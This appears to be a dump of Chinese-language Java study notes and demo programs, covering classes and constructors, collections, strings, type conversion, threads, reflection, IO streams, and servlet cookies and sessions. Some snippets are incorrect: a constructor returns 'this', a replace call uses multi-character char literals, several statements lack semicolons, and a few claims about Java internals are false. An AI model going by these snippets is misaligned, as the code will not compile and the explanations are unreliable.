[初始值] public String name; public int age; public String sex; // 方法 -> 描述动态操作 // 访问/权限修饰符 [特征修饰符] 返回值类型 方法名(参数列表) [抛出异常] [{方法体}] public static void speak() { System.out.println("speak"); } public static void sport() { System.out.println("sport"); } // 构造器 -> 背景:最初仅提供属性、方法,创建对象后打点读写操作,或者在类中声明属性的时候直接赋初始值[写死了],代码阅读性扩展性较差,构造器可以统一管理 // 默认构造器 // 访问修饰符 构造器名[必须与类名一致] public Person() { return this; } // 构造器的重载 -> 重载后建议将默认构造器也写上,提供更多调用方式,而且显示写了构造器就不会有'隐式调用',所以想使用隐式构造器必须显示写 public Person(String name, int age, String sex) { this.name = name; this.age = age; this.sex = sex; // return this; //可省略不写,系统会自动添加 } /* 代码块: 普通快、构造快、静态快、同步快(多线程) 执行顺序: 1.静态快:仅在类加载的时候执行一次,常用于执行全局性的初始化操作,例如创建工厂、数据库的初始化信息等 2.构造快:开发中很少使用 3.构造器 4.普通快 */ // 普通快:写在方法中,多用于限制变量作用范围 public void test() { { int value = 1; System.out.println(value); } // System.out.println(value);//访问不到值 } // 构造快 { System.out.println("构造快"); } // 静态快:仅能写静态属性、静态方法 static { speak(); } } ``` ### 对象/实体的创建 ```java /* 创建对象的过程: 1.代码执行过程中首次遇到类Person()的时候便会加载类的字节码文件,仅加载一次,然后堆内存中进行对象的初始化,实际就是属性的默认值,本质也就是函数的执行而已,此时也会创建this,this就存储在对象中,然后指向对象本身,实际就是存储对象的地址 -> 创建的对象只有属性没有方法,方法依旧存储在'方法区',所有对象共用一份 2.代码执行过程中遇到new Person()中的new关键字,其会在栈中开辟空间执行构造器 -> 构造器的目的就是初始化对象中的值 3.代码执行过程中遇到Person test = new Person(),其会在栈中开辟空间存储test变量,test变量存储对象的地址,也就是指向该对象 -> 实际就是new Person()返回的this对象赋值给了test 4.test便可操作对象的属性、方法 */ Person test = new Person(); Person test1 = new Person("curry",18,"max"); ``` ### this关键字 ```java /* 关于this: 背景:this的出现就是解决'命名冲突',new Person()本质也就是函数执行,Person类中的方法必然是可以访问到类中属性的 -> 为了避免命名冲突因此使用this,没冲突的地方this可省略,有冲突的地方this不可省略 -> 1.this修饰属性/方法:同一个类中可直接调用,this省略与否取决于'是否冲突' => 开发中不建议this.省略,省略的本质也是编译过程中JVM默认识别为添加'this.' -> 2.this修饰构造器: 同一个类中的构造器可相互使用this调用,但必须放在第一行 this();//等同于this.Person(); 调用构造器简写 */ ``` ### static修饰符 ```java /* 关于static: -> 背景:创建的实体拥有'共同的'属性/方法,每次都需要独立分配内存,于是将公共的属性方法使用static修饰将其存储在'方法区',所有实体共用即可 => 类加载的时候就会将静态内容加载到方法区中的'静态域',因此静态内容先于对象存在,被所有对象共享 -> 优点:共用内存空间,减少内存浪费 -> 缺点:如果将很多属性方法都使用static修饰,类初始时加载成本较高,内存占用也多[例如:创建少量实体却将很多属性方法都放到方法区,就很不划算] 使用: -> 1.其可修饰:属性、方法、代码块、内部类 -> 2.访问方式:对象名.属性名/方法名; 类名.属性名/方法名(推荐) -> 3.静态方法中仅能访问静态属性 => 因为静态变量/属性是在类加载后便会加载到'方法区静态域',很多时候无需创建对象仅通过类名打点方式调用即可,因此涉及到this,非静态属性/方法的调用会出错(找不到) => 类变量:静态属性; 实例变量/非类变量:对象变量 */ static String school; public static void record() {} ``` ### 类内存图示 ![](assets/类内存图示1.png) ![](assets/类内存图示2.png)<file_sep>/java基础2/2.容器/3.补充/1.Iterator迭代器/README.md ## Iterator迭代器 > 适合迭代处理'容器'元素,某些情况下for/foreach处理容器元素代码较繁琐,不易维护 ### 迭代器接口 > Collection接口继承了Iterable接口,该接口包含Iterator抽象方法,因此Collection接口的实现类都实现了该方法 -> 该方法的返回值是迭代器对象,具备如下三个方法: > boolean hasNext();// 判断游标当前位置是否有元素 > Object next();// 获取当前游标所在位置元素,并将游标移动到下一位置 > void remove();// 删除游标当前位置元素 ![](assets/迭代器接口.png) ```java // 迭代List接口容器 package com.mi.other; import java.util.List; import java.util.ArrayList; import java.util.Iterator; public class IteratorListTest { public static void main(String[] args) { List<String> list = new ArrayList<>(); // 新增 list.add("a"); list.add("b"); list.add("c"); // 迭代器对象 Iterator<String> iterator = list.iterator(); // 迭代方式1 while(iterator.hasNext()) { String value = iterator.next(); System.out.println(value); } // 迭代方式2 for(Iterator<String> it = list.iterator(); it.hasNext();) { String value = it.next(); System.out.println(value); } // 删除 while(iterator.hasNext()) { String value = iterator.next(); if("b".equals(value)) { iterator.remove(); System.out.println(value); } } } } // 迭代Set接口容器 package com.mi.other; import java.util.Set; import java.util.HashSet; import java.util.Iterator; public class IteratorSetTest { public static void main(String[] args) { Set<String> set= new HashSet<>(); // 新增 set.add("a"); set.add("b"); set.add("c"); // 迭代器对象 Iterator<String> iterator = set.iterator(); // 迭代方式1 while(iterator.hasNext()) { String value = iterator.next(); System.out.println(value); } // 迭代方式2 for(Iterator<String> it = set.iterator(); it.hasNext();) { String value = it.next(); System.out.println(value); } } } ``` ### java数据迭代方式 > for循环:有很确定的圈数,可读可写 > forEach循环:遍历完所有元素,可读不可写 > iterator迭代器:适合迭代处理'容器'元素,某些情况下for/foreach处理容器元素代码较繁琐,不易维护<file_sep>/java基础2/TestPro/container/src/com/mi/demo/TestListDemo.java /** * 产生1-10之间的随机数[1,10],将不重复的10个随机数放入容器 */ package com.mi.demo; import java.util.ArrayList; import java.util.List; public class TestListDemo { public static void main(String[] args) { List<Integer> list = new ArrayList<>(); while(true) { // 产生1-10之间的随机数[1,10] int num = (int)(Math.random()*10 + 1); // 不存在则注入容器 if(!list.contains(num)) { list.add(num); } // 跳出循环 if(list.size() == 10) { break; } } for(int num: list) { System.out.println(num); } } }<file_sep>/java基础2/TestPro/container/src/com/mi/set/treeset/TreeSetTest.java package com.mi.set.treeset; import java.util.Set; import java.util.TreeSet; public class TreeSetTest { public static void main(String[] args) { Set<String> set = new TreeSet<>(); // 新增 set.add("c"); set.add("b"); set.add("a"); set.add("c"); // 获取 for(String str: set) { System.out.println(str); } /* 排序规则: 1.通过元素自身实现:元素需实现Comparable接口的compareTo方法[字符串or数字类中都已实现该抽象方法,自定义类中没有该方法则需要实现] -> 方法聚焦返回值:正数,位置不变; 负数,位置互换; 0,保持不变 2.通过比较器指定: [1].单独创建比较器,比较器需实现Comparator接口中的compare方法定义比较规则 [2].实例化TreeSet时将比较器对象传入以完成元素的排序处理 */ // 通过元素自身实现 Set<Users> set1 = new TreeSet<>(); Users u = new Users("lisa",18); Users u1 = new Users("curry",20); Users u2 = new Users("aury",20); set1.add(u); set1.add(u1); set1.add(u2); for(Users user: set1) { System.out.println(user); } // 通过比较器指定 Set<Student> set2 = new TreeSet<>(new StudentComparator()); Student s1 = new Student("lisa",18); Student s2 = new Student("curry",20); Student s3 = new Student("aury",20); set2.add(s1); set2.add(s2); set2.add(s3); for(Student student: set2) { System.out.println(student); } } }<file_sep>/java基础2/TestPro/io/src/com/mi/demo/Users.java package com.mi.demo; import java.io.Serializable; // Serializable接口:空接口 public class Users implements Serializable { private String username; private int age; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Users(String username, int age) { this.username = username; this.age = age; } // toString() @Override public String toString() { return "Users{" + "username='" + username + '\'' + ", age=" + age + '}'; } }<file_sep>/java基础1/4.类型转换/README.md ## 类型转换 > 数据间的操作会引起编译、运行的系列问题 -> 本质:不同数据类型的数据进行操作的时候有可能出现丢失精度的情况,因为数据在内存的呈现形式就是二进制数,它们占位数不同 ### 情况分析 > 基本类型 --- 基本类型:可直接转换[自动、强制] > 引用类型 --- 引用类型:可直接转换[自动、强制(上转型、下转型)] > 基本类型 --- 引用类型:不可直接转换,仅能间接转换 -> 包装类/封装类 #### 基本类型间的转换 > 1. 相同数据类型间转换 > 整型 or 浮点型: > 大空间可直接存储小空间数据,小空间存储大空间数据需要强制类型转换 ```java byte a = 1; int b = a;//直接转换即可 int a = 1; byte b = (byte)a;//强制转换 float c = 6.8F; double d = c;//直接转换 double c = 6.8; float d = (float)c;//强制转换 // 强制转换带来的问题:若转换前的值比较大,转换后会丢失精度,虽然编译过程不报错,但执行时值已经发生了改变 int a = 2000; byte b = (byte)a;//byte值范围:-128~127 ``` > 2. 不同数据类型间转换 > 整型 -- 浮点型:两者比较精确度,浮点数精确度较高可直接存放整数,反之需要强制转换 ```java int a = 1; float b = a;//直接转换 float a = 6.8F; int b = (int)a;//强制转换 ``` > 整型 -- 字符型:每个字符都对应Unicode码 ```java char a = 'a'; int b = a;//自动转换 b = 97 int a = 97; char b = (char)a//强制转换 a = 'a' ``` > 布尔类型:不能与其它类型间发生转换<file_sep>/java基础1/12.标准类库/2.字符串相关类/1.String/README.md ## String类 > 背景:java并没有内置字符串数据类型,而是提供了预定义类String,每个双引号括起来的字符串都是String类的实例 > ## 特性 > 1. java字符串是不可变字符序列:其就是Unicode字符序列,例如java就是由4个Unicode字符'j'、'a'、'v'、'a'组成 -> 底层就是字符数组,数组长度便不可修改 ```java // 源码 private final char value[];//使用了final修饰 -> 不可变对象 ``` > 2. 其位于java.lang包,无需导入便可使用 ### 基本使用 ```java /* 字符串定义: 1.字面量: String s = "Hello";//底层调用new String("Hello"); 2.对象创建: String s = new String("Hello") */ /* 字符串连接: 1.使用+号运算符可将字符串按顺序拼接在一起 2.+号运算符两侧的操作数只要有一个是字符串类型,系统会自动将另一个操作数隐式转换为字符串然后进行拼接 */ String s1 = "Hello"; String s2 = "World"; String s3 = s1 +s2;//"HelloWorld" int count = 520; String s4 = "count值是:" + count;//"count值是520" /* 字符串相等判断: equals();//String类进行了重写,其比较堆区中的值是否相等 -> Object类中的equals方法依旧判断栈区的地址/引用是否相等 */ String s1 = "hi"; String s2 = "hi"; System.out.println(s1 == s2);//true -> 它们指向同一地址 System.out.println(s1.equals(s2));//true String s3 = new String("hi"); System.out.println(s1 == s3);//false System.out.println(s1.equals(s3));//true ``` ### 方法 ```java String str = "HelloWorld"; // int length() 返回字符串长度 int len = str.length(); System.out.println(len); // char charAt(int index) 返回字符串中第index个字符 -> 越界会报异常java.lang.StringIndexOutOfBoundsException char str1 = str.charAt(10); System.out.println(str1); // int indexOf(String str) 返回从头开始查找str在字符串中的索引位置,若未找到则返回-1 int seatStart = str.indexOf("World"); // int lastIndexOf(String str) 返回从尾开始查找str在字符串中的索引位置,若未找到则返回-1 int seatEnd = str.lastIndexOf("ld"); // String substring(int beginIndex,[int endIndex]) 截取从beginIndex到endIndex-1的字符串[包头不包尾],若endIndex不写,则截取从beginIndex到末尾的字符串,若endIndex超出了字符串length,默认截取到末尾 String str2 = str.substring(2,6); String str3 = str.substring(2) // boolean startsWith(String str) 判断字符串是否以str开头,返回布尔值 System.out.println(str.startsWith("Hel")) // boolean endsWith(String str) 判断字符串是否以str结尾,返回布尔值 System.out.println(str.endsWith("ld")) // boolean equalsIgnoreCase(String str) 判断字符串是否与str相等,判断时忽略大小写 String str4 = "HelloWORLD"; System.out.println(str4.equalsIgnoreCase(str));//true // String toLowerCase() 将字符串中所有大写字母改成小写字母 String str5 = str.toLowerCase(); // String toUpperCase() 将字符串中所有小写字母改成大写字母 String str6 = str.toUpperCase(); // String replace(char oldChar, char newChar) 替换单个字符 // String replace(String oldStr, String newStr) 替换字符串 String str7 = str.replace('W','w'); String str8 = str.replace('World','Java'); // String trim() 去掉字符串中首尾空格 -> 其并不会去掉字符串中间的空格,可使用replace方法进行空串替换 String str9 = " HelloWorld "; str.trim(); String str10 = " Hell o World "; str.trim().replace(" ",""); ```<file_sep>/java基础2/8.javaweb/3.servlet/5.session/README.md ## session > 存储在服务端 -> 每个用户访问服务器,服务器都会通过setCookie的方式在客户端创建sessionId,也就是每个用户唯一标识,每个用户都是唯一的session对象,通过该对象完成用户身份信息存储等 => 每种浏览器仅代表一个用户,并不是窗口[新开的无痕窗口也算新浏览器],session聚焦'每个用户' > 其常用于存储:用户身份信息、购物车信息等 -> 避免服务端存储数据压力大 ```java package com.tt.servlet; import com.tt.pojo.Person; public class SessionDemo1 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("测试Session1"); // 解决中文乱码 req.setCharacterEncoding("utf-8"); resp.setCharacterEncoding("utf-8"); resp.setContentType("text/html;charset=utf-8"); // 获取session HttpSession session = req.getSession(); session.setAttribute("name","kkk"); session.setAttribute("test",new Person("curry",18)); String id = session.getId(); if(session.isNew()) { resp.getWriter().write("session创建成功,ID:" + id); }else { resp.getWriter().write("session已经存在,ID:" + id); } // 注销session // session.invalidate(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } ```<file_sep>/java基础2/8.javaweb/4.jsp/README.md ## jsp -> java server pages > 背景:前后端未分离的时代ajax还没有诞生,html仅仅是纯静态网页,但用户需要动态页面,JSP就是在html中嵌入java程序为用户动态提供数据[html是静态的,java程序可灵活操作数据库获取动态数据从而实现动态网页] > 本质:JSP也是servlet程序,JSP中写的内容最终都会装填到'servlet程序模板'中然后发送给客户端,这也是为什么JSP中可以使用java的预定义对象、变量等的原因 -> jsp写法繁琐[但其的功能很全面,涉及到网页技术都能实现,要不然也不能在某个时代留下很重的印记],后来出现了模板引擎优化jsp,但随着前端技术的发展[AJAX],后端不再需要实现动态网页,而聚集在接口的定义与实现,jsp基本废弃,了解即可 > javaweb:所有请求首先都会打到servlet容器中,即使localhost:8080/,实际默认读取/index.jsp,但index.jsp也是servlet程序,涉及到jsp相关不用在web.xml中显示配置servlet容器,其它不可省略,这些仅仅是'语法层面'简写而已,本质依旧是servlet容器 ### 基础语法 ```jsp <%= 变量/表达式 %> 直接输出到客户端 <% java代码 %> <%! 属性/方法/变量 %> 后续可使用该属性/方法/变量 <%-- 注释 --%> JSP注释不会在客户端显示,HTML注释会 <%@include file='common/header.jsp'%> 引用公用jsp ```<file_sep>/java基础1/12.标准类库/3.时间处理相关类/1.Date/README.md ## Date类 > java.uitl.Date -> 使用时需导包 ```java /* Date类: new Date();//返回当前时间对象 new Date(long date);//返回date对应的时间对象 long getTime();//返回时间戳 String toString();//转换为String格式 -> dow mon dd hh:mm:ss zzz yyyy dow就是周中某天[Sun、Mon、Tue、Wed、Thu、Fri、Sat] -> JDK1.1之前的Date类提供了很多方法:日期操作、字符串转换成时间对象等,目前都废弃了,JDK1.1之后提供了日期操作类Calendar,字符串转化使用DateFormat类 */ Date d = new Date(); Date d1 = new Date(1000L * 3600 * 24 * 365 * 150); System.out.println(d);//Sat Jul 10 10:39:58 CST 2021 System.out.println(d.getTime());//1625884798100 System.out.println(d.toString());//Sat Jul 10 10:39:58 CST 2021 ```<file_sep>/java基础2/4.多线程/2.线程状态/4.线程优先级/README.md ## 线程优先级 > JAVA提供线程调度器监控程序启动后进入就绪状态的所有线程[就绪队列],调度器会按照优先级决定线程执行顺序 -> 实际优先级仅代表调度的概率/权值,优先级低仅表示调度概率低,开发中会出现优先级低反而先调度的情况,也就是所谓的'性能倒置',此情况很少发生但有概率发生 ### 优先级设置 > setPriority(int xx);//范围1~10, 负数/小数/越界数均会报错 > getPriority(); > Thread.MIN_PRIORITY;//最小值 1 > Thread.MAX_PRIORITY;//最大值 10 > Thread.NORM_PRIORITY;//默认值 5 ```java package com.mi.threadstatus; public class TestPriorityDemo { public static void main(String[] args) { // 主线程优先级是JVM默认的,无法更改 System.out.println("主线程优先级:" + Thread.currentThread().getName() + " -> " + Thread.currentThread().getPriority()); MyPriority myPriority = new MyPriority(); Thread t1 = new Thread(myPriority,"t1"); Thread t2 = new Thread(myPriority,"t2"); Thread t3 = new Thread(myPriority,"t3"); Thread t4 = new Thread(myPriority,"t4"); Thread t5 = new Thread(myPriority,"t5"); Thread t6 = new Thread(myPriority,"t6"); // 先设置优先级、再启动 t1.start();//不设置,默认值为5 t2.setPriority(2); t2.start(); t3.setPriority(3); t3.start(); // t4.setPriority(-2);// 负数会报错 // t4.start(); t5.setPriority(Thread.MAX_PRIORITY);//最大的优先级 t5.start(); // t6.setPriority(11);// 数字越界会报错 // t6.start(); } } class MyPriority implements Runnable { @Override public void run() { System.out.println(Thread.currentThread().getName() + " -> " + Thread.currentThread().getPriority()); } } ```<file_sep>/java基础2/5.注解反射/2.反射/2.所有类型的类对象/README.md ## 所有类型的类对象 ```java /* 所有类型的Class类对象: 1.类加载完成后,系统就会在堆内存中产生该类的Class类型对象,仅系统可创建 && 仅能创建一次 2.类、接口、注解等都有Class类对象 -> 实际只要是类,类加载的时候就会自动创建类对象 */ package com.mi.reflect; import java.lang.annotation.ElementType; public class TestReflect2 { public static void main(String[] args) throws ClassNotFoundException { // 类加载完成后,系统就会在堆内存中产生该类的Class类型对象,仅系统可创建 && 仅能创建一次 Class c1 = Class.forName("com.mi.reflect.Student"); Class c2 = Class.forName("com.mi.reflect.Student"); Class c3 = Class.forName("com.mi.reflect.Student"); System.out.println(c1.hashCode());// System.out.println(c2.hashCode());// System.out.println(c3.hashCode());// // 类、接口、注解等都有Class类对象 Class c4 = Object.class;// 类 Class c5 = Comparable.class;// 接口 Class c6 = String[].class;;// 数组 Class c7 = int[][].class;// 二维数组 Class c8 = Override.class; //注解 Class c9 = ElementType.class;//枚举 Class c10 = Integer.class;// 包装类 Class c11 = void.class;// void -> 空类型 Class c12 = Class.class;// Class类 // 只要元素类型与维度一致就是同一个class -> 维度不同、类型不同就不是同class类对象 int[] a = new int[10]; int[] b = new int[100]; System.out.println(a.getClass().hashCode()); System.out.println(b.getClass().hashCode()); } } ```<file_sep>/java基础2/TestPro/container/src/com/mi/list/LinkedListTest.java package com.mi.list; import java.util.LinkedList; import java.util.List; public class LinkedListTest { public static void main(String[] args) { List<String> list = new LinkedList<>(); // 新增 list.add("a"); list.add("b"); list.add("c"); // 获取 for(int i=0; i<list.size(); i++) { System.out.println(list.get(i)); } LinkedList<String> linkedList = new LinkedList<>(); // 新增 linkedList.addFirst("a"); linkedList.addFirst("b"); linkedList.addLast("c"); linkedList.addLast("c"); for(String str:linkedList) { System.out.println(str); } // 删除 linkedList.removeFirst(); linkedList.removeLast(); for(String str:linkedList) { System.out.println(str); } // 判空 boolean flag = linkedList.isEmpty(); System.out.println(flag); } } <file_sep>/java基础2/TestPro/io/src/com/mi/demo/PrintWriterDemo.java /* PrintWriter类:字符输出流 1.自动刷新缓冲字符输出流 2.可直接按行输出字符串 3.可通过println()方法实现自动换行 */ package com.mi.demo; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.InputStreamReader; import java.io.PrintWriter; public class PrintWriterDemo { public static void main(String[] args) { BufferedReader br = null; PrintWriter pw = null; try{ br = new BufferedReader(new InputStreamReader(new FileInputStream("C:\\workspace\\dev\\javastudy\\a.txt"))); pw = new PrintWriter("C:\\workspace\\dev\\javastudy\\c.txt"); String temp = ""; int i = 1; while((temp = br.readLine()) != null) { pw.println(i+","+temp); i++; } }catch(Exception e) { e.printStackTrace(); }finally { try { if(br != null) { br.close(); } if(pw != null) { pw.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础2/TestPro/thread/src/com/mi/threadcreate/threadTestDemo2.java /* 线程创建方式二: 实现runnable接口,重写run()方法,然后将runnable接口实现类作为thread类的参数传入,调用start方法 */ package com.mi.threadcreate; public class threadTestDemo2 implements Runnable{ @Override // run方法:定义线程体 public void run () { for(int i=0; i<20; i++) { System.out.println("xxx"); } } // 主线程 public static void main(String[] args) { threadTestDemo2 testThread = new threadTestDemo2(); Thread thread = new Thread(testThread); thread.start(); for(int i=0; i<200; i++) { System.out.println("s"); } } }<file_sep>/java基础2/2.容器/1.单例集合/1.List接口/1.ArrayList类/README.md ## ArrayList类 -> List接口的实现类 > 底层基于数组实现:查询效率高、增删效率低,线程不安全 ```java package com.mi.list; import java.util.ArrayList; import java.util.List; public class ArrayListTest { public static void main(String[] args) { List<String> list = new ArrayList<>(); // 添加 boolean flag1 = list.add("hello"); boolean flag2 = list.add("world"); System.out.println(flag1); // 插入 list.add(1,"insertElement"); // 获取元素 for(int i=0; i< list.size(); i++) { System.out.println(list.get(i)); } // 删除元素 String ele = list.remove(1); System.out.println(ele); boolean res = list.remove("world"); System.out.println(res); // 替换元素 String val = list.set(0,"newHello"); System.out.println(val);// 替换掉的元素 // 清空容器 list.clear(); // 判定容器是否为空 boolean isEmpty = list.isEmpty(); System.out.println(isEmpty); // 是否包含某元素 list.add("Hello"); list.add("Hello1"); boolean isExist = list.contains("world"); System.out.println(isExist); // 查找元素位置 int index = list.indexOf("Hello"); System.out.println(index); int lastIndex = list.lastIndexOf("Hello"); System.out.println(lastIndex); // 单例集合转换为数组 Object[] arr = list.toArray(); for(int i=0; i<arr.length; i++) { String str = (String)arr[i]; System.out.println(str); } String[] arr2 = list.toArray(new String[list.size()]); for(int i=0; i<arr2.length; i++) { System.out.println(arr2[i]); } // 多集合操作 List<String> a = new ArrayList<>(); a.add("a"); a.add("b"); a.add("c"); List<String> b = new ArrayList<>(); b.add("d"); b.add("e"); b.add("f"); b.add("c"); // 并集 boolean newFlag = a.addAll(b);//若b为空集,返回false -> 实际也没必要对空集求并集 System.out.println(newFlag); for(String str: a) { System.out.println(str); } // 交集 boolean newFlag1 = a.retainAll(b); for(String str: a) { System.out.println(str); } // 差集 boolean newFlag2 = a.removeAll(b); for(String str: a) { System.out.println(str); } } } ```<file_sep>/java基础2/TestPro/io/src/com/mi/demo/ObjectOutputStreamBasicTypeDemo.java /* 对象流: 背景:对象是用于组织存储数据,开发中往往需要将对象存储到硬盘上的文件、网络传输对象数据等 -> 网络传输数据的格式仅能是二进制序列,无论是字节流还是字符流最终都需转换为二进制形式,关于java对象的传输,就需要用到序列化、反序列化 序列化:发送方将java对象转换为字节序列,才能在网络上传送 反序列化:接收方将字节序列转换为对象,才能正常读取 -> 这些对象流不仅可处理java对象,还可对基本数据类型进行读写操作,但数据流[DataInputStream、DataOutputStream]仅能对基本数据类型和字符串类型进行处理,不能处理java对象 */ package com.mi.demo; import java.io.*; public class ObjectOutputStreamBasicTypeDemo { public static void main(String[] args) { ObjectOutputStream oos = null; ObjectInputStream ois = null; try { oos = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"))); oos.writeChar('a'); oos.writeInt(10); oos.writeDouble(Math.random()); oos.writeBoolean(true); oos.writeUTF("你好"); oos.flush(); ois = new ObjectInputStream(new BufferedInputStream(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"))); // 读取顺序要保持一致 System.out.println("char: " + ois.readChar()); System.out.println("int: " + ois.readInt()); System.out.println("double: " + ois.readDouble()); System.out.println("boolean: " + ois.readBoolean()); System.out.println("String: " + ois.readUTF()); } catch(Exception e) { e.printStackTrace(); } finally { try { if(oos != null) { oos.close(); } if(ois != null) { ois.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础1/7.数组/1.一维数组/Demo5.java /** * 数组合并 * array1{1,2,3,4} * array2{5,6,7,8} */ public class Demo5 { public static void main(String[] args) { int[] arr1 = new int[]{1,2,3,4}; int[] arr2 = new int[]{5,6,7,8}; int len1 = arr1.length; int len2 = arr2.length; int[] arr = new int[len1 + len2]; for(int i=0; i<len1; i++) { arr[i] = arr1[i]; } for(int i=0; i<len2; i++) { arr[len1 + i] = arr2[i]; } for(int item:arr) { System.out.println(item); } } }<file_sep>/java基础1/6.语句/README.md ## 语句 > 背景:现实生活中的生活场景映射到程序中的逻辑关系就是顺序、选择、循环<file_sep>/java基础2/其它/README.md ## 其它 ### JAR包 -> Java Archive(java归档) > 其是一种与平台无关[跨平台]的文件格式,可将多个文件压缩到单个文件中 => 开发者可手动打jar包、使用其它人写的jar包,引入到项目中后可直接使用jar包中的类 <file_sep>/java基础2/8.javaweb/3.servlet/4.cookie/README.md ## cookie > 背景:http是无状态协议[每次连接都是独立的,无法标识状态],后来诞生了cookie用于标识身份信息,cookie存储在客户端,很容易被'攻击者篡改攻击服务器',后来又出现了session,其存储在服务端 -> 现代开发中cookie、session均会用到 > cookie: 存储在客户端,服务端发送cookie到客户端,客户端请求时会携带cookie到服务端,以此来完成身份验证 -> 其是基于'客户端'的技术,会存储在客户端本地文件中[大多都在user/appdata],并非浏览器实现的技术,浏览器仅仅是将'本地存储cookie'的文件在'控制台的Application上完成可视化呈现 && 提供一些数据操作'而已 > session: 存储在服务端 ### 特性 > 一个网站[基于域名]:20个cookie、每个cookie大小限制为4kb > 本地存储不受限制[因为就是本地存储文件,文件大小不受限制],浏览器有限制[300个cookie上限] > -> 每个网站都有一盒cookie饼干[上限20] ### 使用 ```java package com.tt.servlet; public class CookieDemo1 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("测试cookie"); // 解决中文乱码 req.setCharacterEncoding("utf-8"); resp.setCharacterEncoding("utf-8"); PrintWriter out = resp.getWriter(); out.write("hello cookie"); Cookie[] cookies = req.getCookies(); if(cookies != null) { for (int i = 0; i < cookies.length; i++) { if(cookies[i].getName().equals("lastLoginTime")) { long l = Long.parseLong(cookies[i].getValue()); Date date = new Date(l); out.write("上一次访问的时间是:" + date.toLocaleString()); } } }else { out.write("首次访问本网站"); } // 服务端设置cookie Cookie cookie = new Cookie("lastLoginTime", System.currentTimeMillis() + ""); cookie.setMaxAge(24*60*60);// 过期时间(s) -> 过期后该cookie将被删掉 resp.addCookie(cookie); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } ```<file_sep>/java基础2/8.javaweb/testPro/javaweb-04-servlet/src/main/java/com/tt/servlet/SessionDemo1.java package com.tt.servlet; import com.tt.pojo.Person; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; public class SessionDemo1 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("测试Session1"); // 解决中文乱码 req.setCharacterEncoding("utf-8"); resp.setCharacterEncoding("utf-8"); resp.setContentType("text/html;charset=utf-8"); // 获取session HttpSession session = req.getSession(); session.setAttribute("name","kkk"); session.setAttribute("test",new Person("curry",18)); String id = session.getId(); if(session.isNew()) { resp.getWriter().write("session创建成功,ID:" + id); }else { resp.getWriter().write("session已经存在,ID:" + id); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } <file_sep>/java基础1/12.标准类库/2.字符串相关类/2.StringBuffer/Demo.java /** * 方法:StringBuffer类是可变字符序列,因此对字符串的操作,若返回字符串必然返回原字符串对象 */ public class Demo { public static void main(String[] args) { StringBuffer strBuf = new StringBuffer(); // StringBuffer strBuf = new StringBuffer("Helloworld"); // String toString() 返回该对象的字符串形式 System.out.println(strBuf.toString()); // StringBuffer append(char/str) 追加单个字符、字符串 strBuf.append('a'); strBuf.append("HelloWorld"); System.out.println(strBuf.toString()); // StringBuffer insert(index,char/str) 在index的位置插入字符、字符串 strBuf.insert(0,'I').insert(1,"想说"); System.out.println(strBuf.toString()); // StringBuffer delete(beginIndex,endIndex) 删除从beginIndex到endIndex-1的字符串 strBuf.delete(0,3); // StringBuffer deleteCharAt(int index) 删除index位置上的字符 strBuf.deleteCharAt(4); System.out.println(strBuf.toString()); // StringBuffer reverse() 将字符序列倒序 strBuf.reverse(); System.out.println(strBuf.toString()); // 其它与String类相同的方法 // int length() 返回字符串长度 strBuf.length(); // char charAt(int index) 返回字符串中第index个字符 -> 越界会报异常java.lang.StringIndexOutOfBoundsException strBuf.charAt(3);//直接可返回字符,不用strBuf.toString().charAt(3) // int indexOf(String str) 返回从头开始查找str在字符串中的索引位置,若未找到则返回-1 strBuf.indexOf("llo"); // int lastIndexOf(String str) 返回从尾开始查找str在字符串中的索引位置,若未找到则返回-1 strBuf.lastIndexOf("llo") // String substring(int beginIndex,[int endIndex]) 截取从beginIndex到endIndex-1的字符串[包头不包尾],若endIndex不写,则截取从beginIndex到末尾的字符串,若endIndex超出了字符串length,默认截取到末尾 strBuf.substring(2,6) } }<file_sep>/java基础2/4.多线程/1.线程实现/README.md ## 线程实现 > JAVA提供了三种创建方法: > 方式一:每次都需要创建对象、OOP单继承有局限性 -> 不推荐使用,仅次于方式二 > 方式二:同一个对象可多次使用,不用多次创建,性能更好,也更符合'高并发编程'[很多时候并发执行同类任务] -> 推荐使用 > 方式三:基本不用 ### 线程创建方式一 ```java /* 线程创建方式一: 继承Thread类,重写run()方法,调用start()开启线程 -> 线程开启不一定立即执行,CPU调度执行 */ package com.mi.thread; public class threadTestDemo extends Thread{ @Override // run方法:定义线程体 public void run() { for(int i=0; i<20; i++) { System.out.println("xxx"); } } // 主线程 public static void main(String[] args) { threadTestDemo testThread = new threadTestDemo(); testThread.start();//开启线程 for(int i=0; i<200; i++) { System.out.println("s"); } } } ``` ### 线程创建方式二 ```java /* 线程创建方式二: 实现runnable接口,重写run()方法,然后将runnable接口实现类作为thread类的参数传入,调用start方法 */ package com.mi.thread; public class threadTestDemo2 implements Runnable{ @Override // run方法:定义线程体 public void run () { for(int i=0; i<20; i++) { System.out.println("xxx"); } } // 主线程 public static void main(String[] args) { threadTestDemo2 testThread = new threadTestDemo2(); Thread thread = new Thread(testThread); thread.start(); for(int i=0; i<200; i++) { System.out.println("s"); } } } ``` ### 线程创建方式三 ```java /* 线程创建方式三: 1.实现callable接口【泛型接口】,重写call方法,需要抛出异常 2.创建执行服务对象:ExecutorService ser = Executors.newFixedThreadPool(3); 3.提交执行:Future<Boolean> r1 = ser.submit(t1); 4.获取结果:boolean rs1 